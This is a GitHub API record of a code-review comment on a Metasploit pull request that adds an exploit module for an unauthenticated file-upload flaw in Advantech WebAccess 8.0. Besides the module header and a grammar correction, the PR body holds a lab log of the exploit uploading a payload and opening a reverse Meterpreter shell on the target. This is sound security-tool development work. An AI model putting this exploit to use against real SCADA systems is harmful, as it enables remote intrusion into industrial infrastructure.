{"action":"created","comment":{"url":"https://api.github.com/repos/rapid7/metasploit-framework/pulls/comments/60441958","id":60441958,"diff_hunk":"@@ -0,0 +1,128 @@\n+##\n+# This module requires Metasploit: http://metasploit.com/download\n+# Current source: https://github.com/rapid7/metasploit-framework\n+##\n+\n+require 'msf/core'\n+class MetasploitModule < Msf::Exploit::Remote\n+  Rank = ExcellentRanking\n+\n+  include Msf::Exploit::Remote::HttpClient\n+  include Msf::Exploit::EXE\n+\n+  def initialize(info = {})\n+    super(update_info(info,\n+      'Name'           => \"Advantech WebAccess Dashboard Viewer Arbitrary File Upload\",\n+      'Description'    => %q{\n+         This module exploits a arbitrary file upload vulnerability found in Advantech WebAccess 8.0.","path":"modules/exploits/windows/scada/advantech_webaccess_dashboard_file_upload.rb","position":17,"original_position":17,"commit_id":"2400345fffc3e1b5341d082b5c63580adb7ac257","original_commit_id":"2400345fffc3e1b5341d082b5c63580adb7ac257","user":{"login":"todb-r7","id":1170909,"avatar_url":"https://avatars.githubusercontent.com/u/1170909?v=3","gravatar_id":"","url":"https://api.github.com/users/todb-r7","html_url":"https://github.com/todb-r7","followers_url":"https://api.github.com/users/todb-r7/followers","following_url":"https://api.github.com/users/todb-r7/following{/other_user}","gists_url":"https://api.github.com/users/todb-r7/gists{/gist_id}","starred_url":"https://api.github.com/users/todb-r7/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/todb-r7/subscriptions","organizations_url":"https://api.github.com/users/todb-r7/orgs","repos_url":"https://api.github.com/users/todb-r7/repos","events_url":"https://api.github.com/users/todb-r7/events{/privacy}","received_events_url":"https://api.github.com/users/todb-r7/received_events","type":"User","site_admin":false},"body":"\"exploits **an** arbitrary file upload vulnerability\"","created_at":"2016-04-20T16:27:35Z","updated_at":"2016-04-20T16:27:35Z","html_url":"https://github.com/rapid7/metasploit-framework/pull/6785#discussion_r60441958","pull_request_url":"https://api.github.com/repos/rapid7/metasploit-framework/pulls/6785","_links":{"self":{"href":"https://api.github.com/repos/rapid7/metasploit-framework/pulls/comments/60441958"},"html":{"href":"https://github.com/rapid7/metasploit-framework/pull/6785#discussion_r60441958"},"pull_request":{"href":"https://api.github.com/repos/rapid7/metasploit-framework/pulls/6785"}}},"pull_request":{"url":"https://api.github.com/repos/rapid7/metasploit-framework/pulls/6785","id":66758227,"html_url":"https://github.com/rapid7/metasploit-framework/pull/6785","diff_url":"https://github.com/rapid7/metasploit-framework/pull/6785.diff","patch_url":"https://github.com/rapid7/metasploit-framework/pull/6785.patch","issue_url":"https://api.github.com/repos/rapid7/metasploit-framework/issues/6785","number":6785,"state":"open","locked":false,"title":"Create exploit for CVE-2016-0854:Advantech WebAccess Dashboard Viewer Arbitrary File Upload","user":{"login":"504137480","id":7042246,"avatar_url":"https://avatars.githubusercontent.com/u/7042246?v=3","gravatar_id":"","url":"https://api.github.com/users/504137480","html_url":"https://github.com/504137480","followers_url":"https://api.github.com/users/504137480/followers","following_url":"https://api.github.com/users/504137480/following{/other_user}","gists_url":"https://api.github.com/users/504137480/gists{/gist_id}","starred_url":"https://api.github.com/users/504137480/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/504137480/subscriptions","organizations_url":"https://api.github.com/users/504137480/orgs","repos_url":"https://api.github.com/users/504137480/repos","events_url":"https://api.github.com/users/504137480/events{/privacy}","received_events_url":"https://api.github.com/users/504137480/received_events","type":"User","site_admin":false},"body":"This exploit was successfully tested on Advantech WebAccess 8.0 Win7 SP1 32-bit.\r\n\r\nThis vulnerability allows remote attackers to execute arbitrary code on vulnerable installations of Advantech WebAccess 8.0.Authentication is not required to exploit this vulnerability.\r\n\r\nSoftware Link: http://www.advantech.com/industrial-automation/webaccess/download \r\n## Verification\r\n```\r\nmsf exploit(advantech_webaccess_dashboard_file_upload) > set RHOST 192.168.150.139\r\nRHOST => 192.168.150.139\r\nmsf exploit(advantech_webaccess_dashboard_file_upload) > exploit\r\n\r\n[*] Started reverse TCP handler on 192.168.150.245:4444 \r\n[+] 192.168.150.139:80 - Payload uploaded successfully\r\n[*] 192.168.150.139:80 - Executing payload...\r\n[*] Sending stage (957487 bytes) to 192.168.150.139\r\n[*] Meterpreter session 1 opened (192.168.150.245:4444 -> 192.168.150.139:50394) at 2016-04-17 00:30:05 -0400\r\n\r\nmeterpreter > sysinfo\r\nComputer        : WIN-EF41OJ7HP67\r\nOS              : Windows 7 (Build 7601, Service Pack 1).\r\nArchitecture    : x86\r\nSystem Language : zh_CN\r\nDomain          : WORKGROUP\r\nLogged On Users : 1\r\nMeterpreter     : x86/win32\r\nmeterpreter > quit\r\n[*] Shutting down Meterpreter...\r\n\r\n[*] 192.168.150.139 - Meterpreter session 1 closed.  Reason: User exit\r\nmsf exploit(advantech_webaccess_dashboard_file_upload) > \r\n\r\n```","created_at":"2016-04-17T04:36:41Z","updated_at":"2016-04-20T16:27:35Z","closed_at":null,"merged_at":null,"merge_commit_sha":"a5fca1a575ba1aab054da91100931d23a956ae19","assignee":{"login":"dmohanty-r7","id":13103793,"avatar_url":"https://avatars.githubusercontent.com/u/13103793?v=3","gravatar_id":"","url":"https://api.github.com/users/dmohanty-r7","html_url":"https://github.com/dmohanty-r7","followers_url":"https://api.github.com/users/dmohanty-r7/followers","following_url":"https://api.github.com/users/dmohanty-r7/following{/other_user}","gists_url":"https://api.github.com/users/dmohanty-r7/gists{/gist_id}","starred_url":"https://api.github.com/users/dmohanty-r7/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/dmohanty-r7/subscriptions","organizations_url":"https://api.github.com/users/dmohanty-r7/orgs","repos_url":"https://api.github.com/users/dmohanty-r7/repos","events_url":"https://api.github.com/users/dmohanty-r7/events{/privacy}","received_events_url":"https://api.github.com/users/dmohanty-r7/received_events","type":"User","site_admin":false},"milestone":null,"commits_url":"https://api.github.com/repos/rapid7/metasploit-framework/pulls/6785/commits","review_comments_url":"https://api.github.com/repos/rapid7/metasploit-framework/pulls/6785/comments","review_comment_url":"https://api.github.com/repos/rapid7/metasploit-framework/pulls/comments{/number}","comments_url":"https://api.github.com/repos/rapid7/metasploit-framework/issues/6785/comments","statuses_url":"https://api.github.com/repos/rapid7/metasploit-framework/statuses/2400345fffc3e1b5341d082b5c63580adb7ac257","head":{"label":"504137480:CVE-2016-0854","ref":"CVE-2016-0854","sha":"2400345fffc3e1b5341d082b5c63580adb7ac257","user":{"login":"504137480","id":7042246,"avatar_url":"https://avatars.githubusercontent.com/u/7042246?v=3","gravatar_id":"","url":"https://api.github.com/users/504137480","html_url":"https://github.com/504137480","followers_url":"https://api.github.com/users/504137480/followers","following_url":"https://api.github.com/users/504137480/following{/other_user}","gists_url":"https://api.github.com/users/504137480/gists{/gist_id}","starred_url":"https://api.github.com/users/504137480/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/504137480/subscriptions","organizations_url":"https://api.github.com/users/504137480/orgs","repos_url":"https://api.github.com/users/504137480/repos","events_url":"https://api.github.com/users/504137480/events{/privacy}","received_events_url":"https://api.github.com/users/504137480/received_events","type":"User","site_admin":false},"repo":{"id":55969494,"name":"metasploit-framework","full_name":"504137480/metasploit-framework","owner":{"login":"504137480","id":7042246,"avatar_url":"https://avatars.githubusercontent.com/u/7042246?v=3","gravatar_id":"","url":"https://api.github.com/users/504137480","html_url":"https://github.com/504137480","followers_url":"https://api.github.com/users/504137480/followers","following_url":"https://api.github.com/users/504137480/following{/other_user}","gists_url":"https://api.github.com/users/504137480/gists{/gist_id}","starred_url":"https://api.github.com/users/504137480/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/504137480/subscriptions","organizations_url":"https://api.github.com/users/504137480/orgs","repos_url":"https://api.github.com/users/504137480/repos","events_url":"https://api.github.com/users/504137480/events{/privacy}","received_events_url":"https://api.github.com/users/504137480/received_events","type":"User","site_admin":false},"private":false,"html_url":"https://github.com/504137480/metasploit-framework","description":"Metasploit Framework","fork":true,"url":"https://api.github.com/repos/504137480/metasploit-framework","forks_url":"https://api.github.com/repos/504137480/metasploit-framework/forks","keys_url":"https://api.github.com/repos/504137480/metasploit-framework/keys{/key_id}","collaborators_url":"https://api.github.com/repos/504137480/metasploit-framework/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/504137480/metasploit-framework/teams","hooks_url":"https://api.github.com/repos/504137480/metasploit-framework/hooks","issue_events_url":"https://api.github.com/repos/504137480/metasploit-framework/issues/events{/number}","events_url":"https://api.github.com/repos/504137480/metasploit-framework/events","assignees_url":"https://api.github.com/repos/504137480/metasploit-framework/assignees{/user}","branches_url":"https://api.github.com/repos/504137480/metasploit-framework/branches{/branch}","tags_url":"https://api.github.com/repos/504137480/metasploit-framework/tags","blobs_url":"https://api.github.com/repos/504137480/metasploit-framework/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/504137480/metasploit-framework/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/504137480/metasploit-framework/git/refs{/sha}","trees_url":"https://api.github.com/repos/504137480/metasploit-framework/git/trees{/sha}","statuses_url":"https://api.github.com/repos/504137480/metasploit-framework/statuses/{sha}","languages_url":"https://api.github.com/repos/504137480/metasploit-framework/languages","stargazers_url":"https://api.github.com/repos/504137480/metasploit-framework/stargazers","contributors_url":"https://api.github.com/repos/504137480/metasploit-framework/contributors","subscribers_url":"https://api.github.com/repos/504137480/metasploit-framework/subscribers","subscription_url":"https://api.github.com/repos/504137480/metasploit-framework/subscription","commits_url":"https://api.github.com/repos/504137480/metasploit-framework/commits{/sha}","git_commits_url":"https://api.github.com/repos/504137480/metasploit-framework/git/commits{/sha}","comments_url":"https://api.github.com/repos/504137480/metasploit-framework/comments{/number}","issue_comment_url":"https://api.github.com/repos/504137480/metasploit-framework/issues/comments{/number}","contents_url":"https://api.github.com/repos/504137480/metasploit-framework/contents/{+path}","compare_url":"https://api.github.com/repos/504137480/metasploit-framework/compare/{base}...{head}","merges_url":"https://api.github.com/repos/504137480/metasploit-framework/merges","archive_url":"https://api.github.com/repos/504137480/metasploit-framework/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/504137480/metasploit-framework/downloads","issues_url":"https://api.github.com/repos/504137480/metasploit-framework/issues{/number}","pulls_url":"https://api.github.com/repos/504137480/metasploit-framework/pulls{/number}","milestones_url":"https://api.github.com/repos/504137480/metasploit-framework/milestones{/number}","notifications_url":"https://api.github.com/repos/504137480/metasploit-framework/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/504137480/metasploit-framework/labels{/name}","releases_url":"https://api.github.com/repos/504137480/metasploit-framework/releases{/id}","deployments_url":"https://api.github.com/repos/504137480/metasploit-framework/deployments","created_at":"2016-04-11T12:16:10Z","updated_at":"2016-04-18T15:53:28Z","pushed_at":"2016-04-19T04:59:32Z","git_url":"git://github.com/504137480/metasploit-framework.git","ssh_url":"git@github.com:504137480/metasploit-framework.git","clone_url":"https://github.com/504137480/metasploit-framework.git","svn_url":"https://github.com/504137480/metasploit-framework","homepage":"http://www.metasploit.com/","size":293401,"stargazers_count":0,"watchers_count":0,"language":"Ruby","has_issues":false,"has_downloads":true,"has_wiki":true,"has_pages":false,"forks_count":1,"mirror_url":null,"open_issues_count":0,"forks":1,"open_issues":0,"watchers":0,"default_branch":"master"}},"base":{"label":"rapid7:master","ref":"master","sha":"d5085f6f0d919224f8390bebe2b21d059da82daf","user":{"login":"rapid7","id":1013671,"avatar_url":"https://avatars.githubusercontent.com/u/1013671?v=3","gravatar_id":"","url":"https://api.github.com/users/rapid7","html_url":"https://github.com/rapid7","followers_url":"https://api.github.com/users/rapid7/followers","following_url":"https://api.github.com/users/rapid7/following{/other_user}","gists_url":"https://api.github.com/users/rapid7/gists{/gist_id}","starred_url":"https://api.github.com/users/rapid7/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/rapid7/subscriptions","organizations_url":"https://api.github.com/users/rapid7/orgs","repos_url":"https://api.github.com/users/rapid7/repos","events_url":"https://api.github.com/users/rapid7/events{/privacy}","received_events_url":"https://api.github.com/users/rapid7/received_events","type":"Organization","site_admin":false},"repo":{"id":2293158,"name":"metasploit-framework","full_name":"rapid7/metasploit-framework","owner":{"login":"rapid7","id":1013671,"avatar_url":"https://avatars.githubusercontent.com/u/1013671?v=3","gravatar_id":"","url":"https://api.github.com/users/rapid7","html_url":"https://github.com/rapid7","followers_url":"https://api.github.com/users/rapid7/followers","following_url":"https://api.github.com/users/rapid7/following{/other_user}","gists_url":"https://api.github.com/users/rapid7/gists{/gist_id}","starred_url":"https://api.github.com/users/rapid7/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/rapid7/subscriptions","organizations_url":"https://api.github.com/users/rapid7/orgs","repos_url":"https://api.github.com/users/rapid7/repos","events_url":"https://api.github.com/users/rapid7/events{/privacy}","received_events_url":"https://api.github.com/users/rapid7/received_events","type":"Organization","site_admin":false},"private":false,"html_url":"https://github.com/rapid7/metasploit-framework","description":"Metasploit Framework","fork":false,"url":"https://api.github.com/repos/rapid7/metasploit-framework","forks_url":"https://api.github.com/repos/rapid7/metasploit-framework/forks","keys_url":"https://api.github.com/repos/rapid7/metasploit-framework/keys{/key_id}","collaborators_url":"https://api.github.com/repos/rapid7/metasploit-framework/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/rapid7/metasploit-framework/teams","hooks_url":"https://api.github.com/repos/rapid7/metasploit-framework/hooks","issue_events_url":"https://api.github.com/repos/rapid7/metasploit-framework/issues/events{/number}","events_url":"https://api.github.com/repos/rapid7/metasploit-framework/events","assignees_url":"https://api.github.com/repos/rapid7/metasploit-framework/assignees{/user}","branches_url":"https://api.github.com/repos/rapid7/metasploit-framework/branches{/branch}","tags_url":"https://api.github.com/repos/rapid7/metasploit-framework/tags","blobs_url":"https://api.github.com/repos/rapid7/metasploit-framework/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/rapid7/metasploit-framework/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/rapid7/metasploit-framework/git/refs{/sha}","trees_url":"https://api.github.com/repos/rapid7/metasploit-framework/git/trees{/sha}","statuses_url":"https://api.github.com/repos/rapid7/metasploit-framework/statuses/{sha}","languages_url":"https://api.github.com/repos/rapid7/metasploit-framework/languages","stargazers_url":"https://api.github.com/repos/rapid7/metasploit-framework/stargazers","contributors_url":"https://api.github.com/repos/rapid7/metasploit-framework/contributors","subscribers_url":"https://api.github.com/repos/rapid7/metasploit-framework/subscribers","subscription_url":"https://api.github.com/repos/rapid7/metasploit-framework/subscription","commits_url":"https://api.github.com/repos/rapid7/metasploit-framework/commits{/sha}","git_commits_url":"https://api.github.com/repos/rapid7/metasploit-framework/git/commits{/sha}","comments_url":"https://api.github.com/repos/rapid7/metasploit-framework/comments{/number}","issue_comment_url":"https://api.github.com/repos/rapid7/metasploit-framework/issues/comments{/number}","contents_url":"https://api.github.com/repos/rapid7/metasploit-framework/contents/{+path}","compare_url":"https://api.github.com/repos/rapid7/metasploit-framework/compare/{base}...{head}","merges_url":"https://api.github.com/repos/rapid7/metasploit-framework/merges","archive_url":"https://api.github.com/repos/rapid7/metasploit-framework/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/rapid7/metasploit-framework/downloads","issues_url":"https://api.github.com/repos/rapid7/metasploit-framework/issues{/number}","pulls_url":"https://api.github.com/repos/rapid7/metasploit-framework/pulls{/number}","milestones_url":"https://api.github.com/repos/rapid7/metasploit-framework/milestones{/number}","notifications_url":"https://api.github.com/repos/rapid7/metasploit-framework/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/rapid7/metasploit-framework/labels{/name}","releases_url":"https://api.github.com/repos/rapid7/metasploit-framework/releases{/id}","deployments_url":"https://api.github.com/repos/rapid7/metasploit-framework/deployments","created_at":"2011-08-30T06:13:20Z","updated_at":"2016-04-20T13:49:49Z","pushed_at":"2016-04-20T16:09:10Z","git_url":"git://github.com/rapid7/metasploit-framework.git","ssh_url":"git@github.com:rapid7/metasploit-framework.git","clone_url":"https://github.com/rapid7/metasploit-framework.git","svn_url":"https://github.com/rapid7/metasploit-framework","homepage":"http://www.metasploit.com/","size":472878,"stargazers_count":5584,"watchers_count":5584,"language":"Ruby","has_issues":true,"has_downloads":true,"has_wiki":true,"has_pages":true,"forks_count":3910,"mirror_url":null,"open_issues_count":270,"forks":3910,"open_issues":270,"watchers":5584,"default_branch":"master"}},"_links":{"self":{"href":"https://api.github.com/repos/rapid7/metasploit-framework/pulls/6785"},"html":{"href":"https://github.com/rapid7/metasploit-framework/pull/6785"},"issue":{"href":"https://api.github.com/repos/rapid7/metasploit-framework/issues/6785"},"comments":{"href":"https://api.github.com/repos/rapid7/metasploit-framework/issues/6785/comments"},"review_comments":{"href":"https://api.github.com/repos/rapid7/metasploit-framework/pulls/6785/comments"},"review_comment":{"href":"https://api.github.com/repos/rapid7/metasploit-framework/pulls/comments{/number}"},"commits":{"href":"https://api.github.com/repos/rapid7/metasploit-framework/pulls/6785/commits"},"statuses":{"href":"https://api.github.com/repos/rapid7/metasploit-framework/statuses/2400345fffc3e1b5341d082b5c63580adb7ac257"}}}}